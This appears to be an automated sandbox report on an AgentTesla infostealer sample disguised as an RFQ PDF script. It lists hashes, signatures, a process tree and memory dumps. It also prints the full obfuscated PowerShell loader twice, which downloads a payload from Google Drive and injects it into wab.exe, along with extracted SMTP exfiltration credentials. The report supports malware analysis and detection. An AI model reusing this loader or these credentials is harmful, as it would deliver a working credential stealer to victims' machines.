agenttesla | 574f418391643fc0503358469521b453be3b4126aa7f0a92c5d89d820eb15584

General

Target

RFQ20240327_Commerical List_pdf.vbs
Size

37KB
MD5

6a729791e8a9e77ba4443e0dec021d4b
SHA1

e1748a0c685509bfa1f6c4e27dfd91a2f2974a87
SHA256

574f418391643fc0503358469521b453be3b4126aa7f0a92c5d89d820eb15584
SHA512

4c6ce18c2796a107d742a27d5e7fd211ff1154c2a033dcd69d6cd2402f130c1165b01a9fc6b2dbcf55f8a65331d9a40e81b05ba49341fcd5845f37d3a7f65eb6
SSDEEP

768:u0QgBk2OWAZGc8NnKwiQj4p+NO+rAPw3uT:7aqNnKwsp8UPwa

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.ispartamensucat.com.tr
Port:
587
Username:
[email protected]
Password:
Qaz!'2020,

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ispartamensucat.com.tr
Port:
587
Username:
[email protected]
Password:
Qaz!'2020,
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

2 drive.google.com
3 drive.google.com
10 drive.google.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 api.ipify.org
15 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

1880 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2828 powershell.exe
1880 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2828 set thread context of 1880 2828 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2336 powershell.exe
2828 powershell.exe
2828 powershell.exe
1880 wab.exe
1880 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2828 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2336 powershell.exe
Token: SeDebugPrivilege 2828 powershell.exe
Token: SeDebugPrivilege 1880 wab.exe

flow	ioc
2	drive.google.com
3	drive.google.com
10	drive.google.com

flow	ioc
14	api.ipify.org
15	api.ipify.org

pid	process
1880	wab.exe

pid	process
2828	powershell.exe
1880	wab.exe

description	pid	process	target process
PID 2828 set thread context of 1880	2828	powershell.exe	wab.exe

pid	process
2336	powershell.exe
2828	powershell.exe
2828	powershell.exe
1880	wab.exe
1880	wab.exe

pid	process
2828	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	1880	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2376 wrote to memory of 2336	2376	WScript.exe	powershell.exe
PID 2376 wrote to memory of 2336	2376	WScript.exe	powershell.exe
PID 2376 wrote to memory of 2336	2376	WScript.exe	powershell.exe
PID 2336 wrote to memory of 2656	2336	powershell.exe	cmd.exe
PID 2336 wrote to memory of 2656	2336	powershell.exe	cmd.exe
PID 2336 wrote to memory of 2656	2336	powershell.exe	cmd.exe
PID 2336 wrote to memory of 2828	2336	powershell.exe	powershell.exe
PID 2336 wrote to memory of 2828	2336	powershell.exe	powershell.exe
PID 2336 wrote to memory of 2828	2336	powershell.exe	powershell.exe
PID 2336 wrote to memory of 2828	2336	powershell.exe	powershell.exe
PID 2828 wrote to memory of 2668	2828	powershell.exe	cmd.exe
PID 2828 wrote to memory of 2668	2828	powershell.exe	cmd.exe
PID 2828 wrote to memory of 2668	2828	powershell.exe	cmd.exe
PID 2828 wrote to memory of 2668	2828	powershell.exe	cmd.exe
PID 2828 wrote to memory of 1880	2828	powershell.exe	wab.exe
PID 2828 wrote to memory of 1880	2828	powershell.exe	wab.exe
PID 2828 wrote to memory of 1880	2828	powershell.exe	wab.exe
PID 2828 wrote to memory of 1880	2828	powershell.exe	wab.exe
PID 2828 wrote to memory of 1880	2828	powershell.exe	wab.exe
PID 2828 wrote to memory of 1880	2828	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ20240327_Commerical List_pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Dimmed Timetallets Omflakken Skydebanen Billetautomaters Snnens #>;$Overhardy=(cmd /c set /A 115^^0);Function Sidebone ([String]$moit){$falankserne=[char][int]$Overhardy+'ubstring';$Slavearbejderne246=8;$Basiclignende=Solopgangs($moit);For($Umpirage=7; $Umpirage -lt $Basiclignende; $Umpirage+=$Slavearbejderne246){$Miljbeskyttelseskonventions175=$moit.$falankserne.Invoke($Umpirage, 1);$Vulcaniser=$Vulcaniser+$Miljbeskyttelseskonventions175;}$Vulcaniser;}function Exr ($Phenicopter){. ($Kitza) ($Phenicopter);}function Solopgangs ([String]$fiskeplads){$Unfastenable=$fiskeplads.Length-1;$Unfastenable;}$Spartelmasserne=Sidebone 'DdscellTIntercarIdolisea,eurorrnSiameses droeftf AnalyteTilla nrAbrogatr,orlibtiAs entonOverplegchlorol ';$Stuckling56=Sidebone 'GnubsalhCombysttHoof eatMrkevarpEnkeltmsF rpass:Fremlej/Under b/Echin idFaksimirEngangsi mbassavNedslideUdvi li. MaksimgShmaltzoLooiehooUvigtiggtranslalAttentaebrekraf. TrafikcPolituroM rfademTo,lant/Prot coushapelecSweetso? kamenee RegardxUnder,ep Landsto,ropeskrS.akbrit Fastho= Ophidid.ipolesoLskbanfwKlage anSlatifilMotiveroDu,keanaKonfi,ud ogueli&isoqueriblokaded ,equil=Pa,irin1Bdefo lt,indimp_UdsmeltgSkib.neRTegningr FormulR nhydrogh sardeq ornemmyassemblzankomste.tegepaJDropclotVan,taaU RifelyHRindendNPeriant2 OtternmS.emtneh Sl.sme9Animato7KilometQpartial0 UstabitEfterra4Hyperdin SmutteFTraktor7 GlassiZNicodemaVekselem Oilcam4Strange ';$Kitza=Sidebone 'TirokrsiBatikfaeVibistsxT,kning ';$Damascerendes=Sidebone 'pessare$O tensigIndholdl BecherolandstnbStarrieaNonseculSalturt: Livre.Ptreph.nrDavidd,iBayernsn Behov,tComparteAlcestir SektoryGaet,es Overpre=C yptol Fi gerS Skamfet ColiciaSiben.brEc,lesitL,ojaco-KontrolB EjendoiIndefectjarfulssFol.evaT Prosodr nenjoa.erberinAf,ixersTrephinfApnealfeMicronurturneri .magens-UnloathS Menne oFulgencudrivremr MuttoncClowne eSikk rh Eng ngs$.undredSIrreligtEnehe sulev,nticPac fiskNedsivnlPosterii TyristnBrneg.agfunktio5 Sarace6Opridse ,oursed-debitorD EmbodieLovmssisTr ttentParasuciSubopponBesyn eaNasutiftUngradeiFrict.ooIpalne.nkartoff Tracl $SkemafrCDeeskaliOpponenpF,selskhPuritaneResc.eerundlbafs Afhold ';Exr (Sidebone 'K pital$ JarleegSphaer lSeptuplosta,igsb Rigsspa graspaltilskr.: LunkenCOftes,aiKlass,kpRel quihindsugee Preguar millwrs Cop.is=Bu dfld$Interlaece sormnSphacelvGekspor:OmgngeraVeeringpEpistlep Strmnid autoina,ugoslatStr.tska sor.sr ') ;Exr (Sidebone 'C,easieIpr.founmFiskekupNonfelioDaarekirBo.dsertBruxism- Der ilMPreconcoTilslutdTwol.ngu AfterclEmydesteStaithe orthodrBLickensirdspttetF.dtdepsNoninteT EdgyskrResneg,a RevisinEssayissKommandfSkemafoeCentr.lrCosenau ') ;$Ciphers=$Ciphers+'\Teglstenenes.Uns' ;Exr (Sidebone 'S ahena$Lumberyg Opacifl abriko,olarisbFor.lbeaKrantz,l Dkres :BeredskKHyp rexoFyrlam n.ermokotmrecoeliAssiseonAllegoru Forethe Fam lirCursoroeSupport= Stoach(Frika sTCoproceeSpiddedsCul eeatUnflyin-.itableP E tracaBakke ntReyokeah Alfed. Undonha$ PoisonCForanleiPropt,kpTaxaspihAnse.ige ,atarirDruesorsSekon.v)Fortrs ') ;while (-not $Kontinuere) {Exr (Sidebone ' UnstopITassellfConceit Desill (Jubilan$TaffetaPxic kkrr smarthiBrevsamnFremlystLeadw.yeNephrogrUdsagnsyErr rdu.,efigenJPed metoDolourobSpaget,SYder.edtKlvand aTry leltH drotheeffatum Purger,-SigneteePalaeolqAandsvi oserem$ CheckhS BestyrpAlsace,a Despa,rTailgattDredgefeVanill lHjfre vmPostganaEnchantsBelbsgrsGugglese Trlastr Macul nDegus,aeN.nsolv)Elytrop Verdens{ M rinaSBilabedtWrist.maChroncmrPerchabtNonperm-AftgtstSSkriftrl,ppetizeOp ringeCoursinpbackswi Fleecel1Prefa,o}Phthalye.eltmadlZeb,erns tandareMiljstt{BoykottSElektrot u,strmaAntroporIndemurtBoguing- TatareSE ophaglMorasspePsychoneU,spndepsjoflet Knsroll1Jalousi; DkningETaillamxps,udoprBaller, afske s$TimekeeDE.hortia OligopmTrk,runa SpildosMattedncReplundeKamfer.rBrudlineSlagteknko.centd BuboteeNords,ts Protek}Brnebo ');Exr (Sidebone 'Subdivi$Akselt.gLivssitlStamm,ro KvittebCosmogoa thala,l Adlumi: ,doptiKFeedbacoWellin nUdgravetUndertiiBortvisn S,oddeuNaturm,eTokron,rT.ltaleeKauti,n= Motori(Dynamo.TGedeblaeStaffers Md afttLucrifi-Bromo,rP Sun.ana OmstndtGrecomahE,porta Global$ OverlaCGungremigr,nadip Trans h UnornaeNettendr br inas August)Duikerb ') ;}Exr (Sidebone 'Indtjen$A tomekgj,stitslHalvlego ZonesybV,gabonaSypigeslK.ssati:BefilmeBSe icttrNull,fioTophsunkOrc,ataf Mamushu Windlag BadestlK.reanee Harem,nDacryopeangelsasHistor,1 Agu,ke8termins6Supervi Rors.an=Ciffern Disp,nG PrograeSpildevt Dendro-TwieralCgol.minoOssiculn Hagl.st BondegecymoidinFllesmdtLikvida Resunds$TapetseCBel,angiGumbotipSerieprhNoncorre DiversrTorunl sPseudo. ');Exr (Sidebone 'Feraean$ Bols,egDukesrel Siphonostrategb Giletpabrod relProstig:Driv.idA RanditpDampenep.onitere.dsugnilPrcoluml ramatueTourellnMe,allesAgreing2.idensk3hovedhj6 Argume .iversi=Unsapie R,oviru[E.ectivSBariumsyheste rsRekonvatIntereseGlathvlmAshanti.TiredlyCSerialioBallistnDelstatv FunduleSkulapsrDermopatPiezoel]Pyl.des:Oppon,r:amoebidFUd.iklirTrullanoRigsdagmsmigereB rahmaaUdgranss erritaeAd esse6Drowsie4analys.SP igtfltGarderer,ebordfiU,scramnBoardingF,uesna(Indv rs$AdminisB Outcavr Intri,oIdealitk CaldadfMiscom,uSnvl.hogoverrenlGnetum.eUtjkrnen Aftrapeerio,ausIrrelev1 Disaff8 Ku.sts6Omkar.e)Vocalis ');Exr (Sidebone 'Trompil$Schchtng,onintelWarhorsodiskontbColicalaSubs dilLapdo,c:TreeineTinjurieeDa.liglr InstrumB gumbuiGestusenVenomisoGloominlSalatstoScapedtgDameworiNormerieProbl.mrchokola Familie=.lvusst Uncurse[ Soc abSOpby gey frigresAnonymttNordboeeNymarximSkyldbe.Renad sTDrumikoeParfumexR,incentR.gsenh.AguisepEUnc ndonFrilsnic Vid.otoAsparged Emhttei Nitrognplanarig Dromic]Demobil:Adidast:GrozartAUdtr niSHoved,eCArtificIDiskri If,brina. Ndskr GEgnsplaeFragtsktByfornyS VivipatBaldyrerDerindeiFordampnPharmacgAlkohol(Magneto$B,andtlAThalliup GadearpSubinteeSextansl Kaprifl,ntercreOmstbennEksplois Oktobe2Perspek3Ordtlli6Ophthal)S.parat ');Exr (Sidebone 'Stilise$ ChelidgAnsagerlHaarsbro HasselbSl,lomkaMoucho.lU gneth:Terren.MmonotronKabellngSyrlighdforvandeUdprintnSte ard=Unassur$Genne,sTFrnnedeeDeformirPlicatomEnamelliBoyko.tn Tamkato UnconflMaengdeoarbtrnfgListin,iFartjsfeGr edygrTremop .Forudresoversaeurontg,nb orfilsHelta.vt BankberBawledkiParam tn KansasgRevi,io(Kisanpi3Ordnenn5Antegne7 ireogt3 sublim9Trewsme2 Ban al,Sextar,3Hoopski1Gigawat3Hermans3 Mandol1I tersh) Equate ');Exr $Mngden;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:2656

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Dimmed Timetallets Omflakken Skydebanen Billetautomaters Snnens #>;$Overhardy=(cmd /c set /A 115^^0);Function Sidebone ([String]$moit){$falankserne=[char][int]$Overhardy+'ubstring';$Slavearbejderne246=8;$Basiclignende=Solopgangs($moit);For($Umpirage=7; $Umpirage -lt $Basiclignende; $Umpirage+=$Slavearbejderne246){$Miljbeskyttelseskonventions175=$moit.$falankserne.Invoke($Umpirage, 1);$Vulcaniser=$Vulcaniser+$Miljbeskyttelseskonventions175;}$Vulcaniser;}function Exr ($Phenicopter){. ($Kitza) ($Phenicopter);}function Solopgangs ([String]$fiskeplads){$Unfastenable=$fiskeplads.Length-1;$Unfastenable;}$Spartelmasserne=Sidebone 'DdscellTIntercarIdolisea,eurorrnSiameses droeftf AnalyteTilla nrAbrogatr,orlibtiAs entonOverplegchlorol ';$Stuckling56=Sidebone 'GnubsalhCombysttHoof eatMrkevarpEnkeltmsF rpass:Fremlej/Under b/Echin idFaksimirEngangsi mbassavNedslideUdvi li. MaksimgShmaltzoLooiehooUvigtiggtranslalAttentaebrekraf. TrafikcPolituroM rfademTo,lant/Prot coushapelecSweetso? kamenee RegardxUnder,ep Landsto,ropeskrS.akbrit Fastho= Ophidid.ipolesoLskbanfwKlage anSlatifilMotiveroDu,keanaKonfi,ud ogueli&isoqueriblokaded ,equil=Pa,irin1Bdefo lt,indimp_UdsmeltgSkib.neRTegningr FormulR nhydrogh sardeq ornemmyassemblzankomste.tegepaJDropclotVan,taaU RifelyHRindendNPeriant2 OtternmS.emtneh Sl.sme9Animato7KilometQpartial0 UstabitEfterra4Hyperdin SmutteFTraktor7 GlassiZNicodemaVekselem Oilcam4Strange ';$Kitza=Sidebone 'TirokrsiBatikfaeVibistsxT,kning ';$Damascerendes=Sidebone 'pessare$O tensigIndholdl BecherolandstnbStarrieaNonseculSalturt: Livre.Ptreph.nrDavidd,iBayernsn Behov,tComparteAlcestir SektoryGaet,es Overpre=C yptol Fi gerS Skamfet ColiciaSiben.brEc,lesitL,ojaco-KontrolB EjendoiIndefectjarfulssFol.evaT Prosodr nenjoa.erberinAf,ixersTrephinfApnealfeMicronurturneri .magens-UnloathS Menne oFulgencudrivremr MuttoncClowne eSikk rh Eng ngs$.undredSIrreligtEnehe sulev,nticPac fiskNedsivnlPosterii TyristnBrneg.agfunktio5 Sarace6Opridse ,oursed-debitorD EmbodieLovmssisTr ttentParasuciSubopponBesyn eaNasutiftUngradeiFrict.ooIpalne.nkartoff Tracl $SkemafrCDeeskaliOpponenpF,selskhPuritaneResc.eerundlbafs Afhold ';Exr (Sidebone 'K pital$ JarleegSphaer lSeptuplosta,igsb Rigsspa graspaltilskr.: LunkenCOftes,aiKlass,kpRel quihindsugee Preguar millwrs Cop.is=Bu dfld$Interlaece sormnSphacelvGekspor:OmgngeraVeeringpEpistlep Strmnid autoina,ugoslatStr.tska sor.sr ') ;Exr (Sidebone 'C,easieIpr.founmFiskekupNonfelioDaarekirBo.dsertBruxism- Der ilMPreconcoTilslutdTwol.ngu AfterclEmydesteStaithe orthodrBLickensirdspttetF.dtdepsNoninteT EdgyskrResneg,a RevisinEssayissKommandfSkemafoeCentr.lrCosenau ') ;$Ciphers=$Ciphers+'\Teglstenenes.Uns' ;Exr (Sidebone 'S ahena$Lumberyg Opacifl abriko,olarisbFor.lbeaKrantz,l Dkres :BeredskKHyp rexoFyrlam n.ermokotmrecoeliAssiseonAllegoru Forethe Fam lirCursoroeSupport= Stoach(Frika sTCoproceeSpiddedsCul eeatUnflyin-.itableP E tracaBakke ntReyokeah Alfed. Undonha$ PoisonCForanleiPropt,kpTaxaspihAnse.ige ,atarirDruesorsSekon.v)Fortrs ') ;while (-not $Kontinuere) {Exr (Sidebone ' UnstopITassellfConceit Desill (Jubilan$TaffetaPxic kkrr smarthiBrevsamnFremlystLeadw.yeNephrogrUdsagnsyErr rdu.,efigenJPed metoDolourobSpaget,SYder.edtKlvand aTry leltH drotheeffatum Purger,-SigneteePalaeolqAandsvi oserem$ CheckhS BestyrpAlsace,a Despa,rTailgattDredgefeVanill lHjfre vmPostganaEnchantsBelbsgrsGugglese Trlastr Macul nDegus,aeN.nsolv)Elytrop Verdens{ M rinaSBilabedtWrist.maChroncmrPerchabtNonperm-AftgtstSSkriftrl,ppetizeOp ringeCoursinpbackswi Fleecel1Prefa,o}Phthalye.eltmadlZeb,erns tandareMiljstt{BoykottSElektrot u,strmaAntroporIndemurtBoguing- TatareSE ophaglMorasspePsychoneU,spndepsjoflet Knsroll1Jalousi; DkningETaillamxps,udoprBaller, afske s$TimekeeDE.hortia OligopmTrk,runa SpildosMattedncReplundeKamfer.rBrudlineSlagteknko.centd BuboteeNords,ts Protek}Brnebo ');Exr (Sidebone 'Subdivi$Akselt.gLivssitlStamm,ro KvittebCosmogoa thala,l Adlumi: ,doptiKFeedbacoWellin nUdgravetUndertiiBortvisn S,oddeuNaturm,eTokron,rT.ltaleeKauti,n= Motori(Dynamo.TGedeblaeStaffers Md afttLucrifi-Bromo,rP Sun.ana OmstndtGrecomahE,porta Global$ OverlaCGungremigr,nadip Trans h UnornaeNettendr br inas August)Duikerb ') ;}Exr (Sidebone 'Indtjen$A tomekgj,stitslHalvlego ZonesybV,gabonaSypigeslK.ssati:BefilmeBSe icttrNull,fioTophsunkOrc,ataf Mamushu Windlag BadestlK.reanee Harem,nDacryopeangelsasHistor,1 Agu,ke8termins6Supervi Rors.an=Ciffern Disp,nG PrograeSpildevt Dendro-TwieralCgol.minoOssiculn Hagl.st BondegecymoidinFllesmdtLikvida Resunds$TapetseCBel,angiGumbotipSerieprhNoncorre DiversrTorunl sPseudo. ');Exr (Sidebone 'Feraean$ Bols,egDukesrel Siphonostrategb Giletpabrod relProstig:Driv.idA RanditpDampenep.onitere.dsugnilPrcoluml ramatueTourellnMe,allesAgreing2.idensk3hovedhj6 Argume .iversi=Unsapie R,oviru[E.ectivSBariumsyheste rsRekonvatIntereseGlathvlmAshanti.TiredlyCSerialioBallistnDelstatv FunduleSkulapsrDermopatPiezoel]Pyl.des:Oppon,r:amoebidFUd.iklirTrullanoRigsdagmsmigereB rahmaaUdgranss erritaeAd esse6Drowsie4analys.SP igtfltGarderer,ebordfiU,scramnBoardingF,uesna(Indv rs$AdminisB Outcavr Intri,oIdealitk CaldadfMiscom,uSnvl.hogoverrenlGnetum.eUtjkrnen Aftrapeerio,ausIrrelev1 Disaff8 Ku.sts6Omkar.e)Vocalis ');Exr (Sidebone 'Trompil$Schchtng,onintelWarhorsodiskontbColicalaSubs dilLapdo,c:TreeineTinjurieeDa.liglr InstrumB gumbuiGestusenVenomisoGloominlSalatstoScapedtgDameworiNormerieProbl.mrchokola Familie=.lvusst Uncurse[ Soc abSOpby gey frigresAnonymttNordboeeNymarximSkyldbe.Renad sTDrumikoeParfumexR,incentR.gsenh.AguisepEUnc ndonFrilsnic Vid.otoAsparged Emhttei Nitrognplanarig Dromic]Demobil:Adidast:GrozartAUdtr niSHoved,eCArtificIDiskri If,brina. Ndskr GEgnsplaeFragtsktByfornyS VivipatBaldyrerDerindeiFordampnPharmacgAlkohol(Magneto$B,andtlAThalliup GadearpSubinteeSextansl Kaprifl,ntercreOmstbennEksplois Oktobe2Perspek3Ordtlli6Ophthal)S.parat ');Exr (Sidebone 'Stilise$ ChelidgAnsagerlHaarsbro HasselbSl,lomkaMoucho.lU gneth:Terren.MmonotronKabellngSyrlighdforvandeUdprintnSte ard=Unassur$Genne,sTFrnnedeeDeformirPlicatomEnamelliBoyko.tn Tamkato UnconflMaengdeoarbtrnfgListin,iFartjsfeGr edygrTremop .Forudresoversaeurontg,nb orfilsHelta.vt BankberBawledkiParam tn KansasgRevi,io(Kisanpi3Ordnenn5Antegne7 ireogt3 sublim9Trewsme2 Ban al,Sextar,3Hoopski1Gigawat3Hermans3 Mandol1I tersh) Equate ');Exr $Mngden;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2828

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
4⤵
PID:2668

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
7281e393880727bfbe4f33b725b52a99

SHA1
f85bae7927bbd5599a19b9a505a1cdf637bed566

SHA256
823d43d425ddab0b5d330fac04f3092b005573069803d78526fa9efc04c91872

SHA512
d1d2f4a2f8d4241517241502ac1c45b6736dae95a24bea1a730ee2fe577b5c1574218596d1a4d94c65e52c5fe7b9ae35c155b6dbe9e8f5b85028f31951b267d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabFF17.tmp
Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KWTG3VTX79PSALLIJOCH.temp
Filesize
7KB

MD5
4fd3705e65611d8989aeb458b82a0d90

SHA1
180688011ea251f61e07f9f070f81b7f8f08075d

SHA256
a77b35343fd5dc545edad2ccadbc435ed44cee0824128136cc91c79f7973578c

SHA512
be4e07d4334615577954bf05d7ffa5ed8d128ee7e320ec31c9504c6e4dae96aea7b15550a795c6158ef9056070ec21a45fadf9c1a92b5f9a2fb9171eca1c0b1d

Download Submit
memory/1880-46-0x0000000077BE6000-0x0000000077BE7000-memory.dmp

Filesize
4KB

Download
memory/1880-77-0x000000006F420000-0x000000006FB0E000-memory.dmp

Filesize
6.9MB

Download
memory/1880-78-0x0000000024900000-0x0000000024940000-memory.dmp

Filesize
256KB

Download
memory/1880-73-0x0000000024900000-0x0000000024940000-memory.dmp

Filesize
256KB

Download
memory/1880-72-0x000000006F420000-0x000000006FB0E000-memory.dmp

Filesize
6.9MB

Download
memory/1880-71-0x00000000006A0000-0x00000000006E2000-memory.dmp

Filesize
264KB

Download
memory/1880-69-0x0000000077BB0000-0x0000000077C86000-memory.dmp

Filesize
856KB

Download
memory/1880-68-0x00000000006A0000-0x0000000001702000-memory.dmp

Filesize
16.4MB

Download
memory/1880-47-0x0000000077BB0000-0x0000000077C86000-memory.dmp

Filesize
856KB

Download
memory/1880-45-0x00000000779C0000-0x0000000077B69000-memory.dmp

Filesize
1.7MB

Download
memory/2336-70-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2336-34-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2336-29-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2336-9-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2336-31-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2336-10-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2336-11-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2336-4-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2336-12-0x000000001B660000-0x000000001B682000-memory.dmp

Filesize
136KB

Download
memory/2336-8-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2336-30-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2336-13-0x0000000002490000-0x00000000024A2000-memory.dmp

Filesize
72KB

Download
memory/2336-7-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2336-5-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2336-6-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-18-0x0000000002260000-0x00000000022A0000-memory.dmp

Filesize
256KB

Download
memory/2828-17-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download
memory/2828-44-0x0000000077BB0000-0x0000000077C86000-memory.dmp

Filesize
856KB

Download
memory/2828-16-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download
memory/2828-43-0x0000000005FE0000-0x00000000060E0000-memory.dmp

Filesize
1024KB

Download
memory/2828-42-0x00000000779C0000-0x0000000077B69000-memory.dmp

Filesize
1.7MB

Download
memory/2828-39-0x0000000002260000-0x00000000022A0000-memory.dmp

Filesize
256KB

Download
memory/2828-38-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download
memory/2828-36-0x0000000006520000-0x000000000B27E000-memory.dmp

Filesize
77.4MB

Download
memory/2828-19-0x0000000002260000-0x00000000022A0000-memory.dmp

Filesize
256KB

Download
memory/2828-33-0x0000000005FE0000-0x00000000060E0000-memory.dmp

Filesize
1024KB

Download
memory/2828-32-0x0000000002260000-0x00000000022A0000-memory.dmp

Filesize
256KB

Download
memory/2828-35-0x0000000005BE0000-0x0000000005BE1000-memory.dmp

Filesize
4KB

Download
memory/2828-37-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads